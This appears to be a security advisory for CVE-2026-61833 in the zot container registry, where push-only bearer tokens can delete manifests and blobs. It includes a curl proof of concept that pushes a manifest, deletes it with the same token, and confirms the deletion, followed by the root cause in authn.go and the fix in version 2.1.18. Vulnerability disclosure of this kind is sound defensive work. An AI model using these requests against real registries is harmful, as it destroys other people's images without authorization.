high · 8.1CVE-2026-61833Sep 18, 2026

CVE-2026-61833: zot Bearer Token Scope Collapse Allows Unauthorized Manifest and Blob Deletion

Rohit Hatagale
AI Security Researcher, SecureLayer7

A bearer token issued with only pull and push permissions can delete container images and blobs from a zot registry, because the registry never checks for a separate delete permission on HTTP DELETE…

Packagezotregistry.dev/zot/v2
Ecosystemgo
Affected< 2.1.18
Fixed in2.1.18

The problem

In zot versions before 2.1.18, the bearer authentication middleware in pkg/api/authn.go collapses all non-GET/HEAD HTTP methods into a single 'push' action check. DELETE requests are therefore validated only for push scope, not the distinct delete scope required by the OCI Distribution Specification.

Compounding this, the DistSpecAuthzHandler middleware, which performs fine-grained action inference (distinguishing create, read, update, and delete), is bypassed entirely for bearer-authenticated requests. Neither DeleteManifest nor DeleteBlob performs an independent authorization check, so deletion proceeds without any delete-scope verification.

Proof of concept

A working proof-of-concept for CVE-2026-61833 in zotregistry.dev/zot/v2, with the exact payload below.

bash
# Obtain a push-only bearer token (scope: repository:poc-test:pull,push, NO delete)
TOKEN="<push-only-jwt>"

# Step 1: Push a manifest (expected to succeed)
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/vnd.oci.image.manifest.v1+json" \
  -X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \
  -d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}'
# → 201 Created

# Step 2: DELETE the manifest with the same push-only token (should be 401, but is 202)
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer $TOKEN" \
  -X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 202 Accepted  (VULNERABLE: manifest is now permanently deleted)

# Step 3: Confirm deletion
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer $TOKEN" \
  "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 404 Not Found

The root cause is a binary action-mapping in authn.go: if the HTTP method is not GET or HEAD, the code assigns action = "push", which means DELETE is treated identically to PUT or PATCH. The delete scope is never requested or enforced.

The patch in PR #4161 (commit 7bb211b) introduces a switch on the HTTP method so that DELETE maps to action = "delete" instead of "push". This forces the token validation step to verify the token actually carries delete scope, rejecting push-only tokens with 401.

The DistSpecAuthzHandler bypass for bearer requests (authz.go) should also be revisited to apply equally granular checks.

This is CWE-285 (Improper Authorization) because the authorization decision uses an incorrect action label, causing the access-control gate to pass requests it should reject.

The fix

Upgrade to zot v2.1.18. The fix adds a per-method switch in pkg/api/authn.go so DELETE maps to the 'delete' scope action rather than 'push'. No configuration change is needed; the corrected action mapping is applied automatically after upgrading.

Reported by Ramkumar Chinchani.

References: [1][2][3][4][5]

Related research